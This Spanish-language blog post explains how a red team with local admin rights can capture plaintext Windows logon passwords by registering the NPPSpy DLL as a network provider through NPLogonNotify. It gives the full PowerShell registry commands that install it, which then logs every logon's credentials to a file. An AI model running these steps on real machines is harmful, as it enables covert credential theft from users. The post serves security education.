Capturando las credenciales de Windows usando el API de los Network Providers

En una intrusión de un red team (todo legal por supuesto ;) ) podemos haber obtenido el admin local de un servidor y, a continuación, intentar obtener las credenciales en claro de los usuarios que se loggean en la máquina. Hoy vamos a hablar de una técnica para conseguirlo sin tener que pelearnos ni sufrir con Additional LSA Protection o Credential Guard, si bien he de decir que tiene un par de añitos y puede detectarse por cualquier endpoint de medio pelo que se precie. Se basa en el uso de una implementación de NPLogonNotify, una función que exporta cada DLL de los llamados proveedores de red o network providers de Windows. Pero, demos un poco de contexto...

Un proveedor de red es una DLL que proporciona soporte para protocolos de red específicos. Utilizan la API del proveedor de red para comunicarse con el sistema operativo. Un proveedor de red también puede ser un administrador de credenciales. Reciben una notificación cuando un usuario inicia sesión o se cambia una contraseña.

Winlogon proporciona la interfaz gráfica (GUI) y la funcionalidad de autenticación. Winlogon se comunica con mpnotify a través de un canal RPC y comunica nombres de usuario y contraseñas. La herramienta mpnotify luego distribuye esta información a los administradores de credenciales registrados. Estos se pueden cargar a través del registro de la misma manera que los SSP (Security Support Providers). 

La clave de registro ProviderOrder en la ruta HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order contiene todos los proveedores de red. La función NPLogonNotify se utiliza para recibir credenciales como administrador de credenciales.

Y aquí viene la magia gracias al amigo Grzegorz Tworek que se picó NPPSpy, una implementación simple efectiva de NPLogonNotify() que obtiene los datos de logon incluyendo las contraseñas en claro }:-)

La DLL de NPPSpy se copia en la carpeta %WINDIR%\system32 lo que requiere permisos administrativos. Posteriormente, se deben configurar algunas claves de registro y se debe registrar NPPSpy como proveedor de red. Esto se puede hacer con los siguientes comandos de PowerShell:

$NetworkProviderName = "NPPSpy"

New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$NetworkProviderName"
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$NetworkProviderName\NetworkProvider"
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$NetworkProviderName\NetworkProvider" -Name "Class" -Value 2
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$NetworkProviderName\NetworkProvider" -Name "Name" -Value $NetworkProviderName
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$NetworkProviderName\NetworkProvider" -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\$NetworkProviderName.dll"

$NetworkProviderPath = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name ProviderOrder
$NetworkProviderOrder = $NetworkProviderPath.ProviderOrder + ",$NetworkProviderName"
Set-ItemProperty -Path $NetworkProviderPath.PSPath -Name ProviderOrder -Value $NetworkProviderOrder

Después de eso, NPPSpy está activo y guarda las credenciales en el archivo C:\NPPSpy.txt cada vez que alguien inicia sesión.

Vemos el resultado cuando snovvcrash invocaba el cmdlet en powershell (con una sesión de Evil-WinRM de la casa):


Fuentes:
- https://www.blackhat.com/presentations/win-usa-04/bh-win-04-polak/bh-win-04-polak2.pdf
- https://www.scip.ch/en/?labs.20220217


Comentarios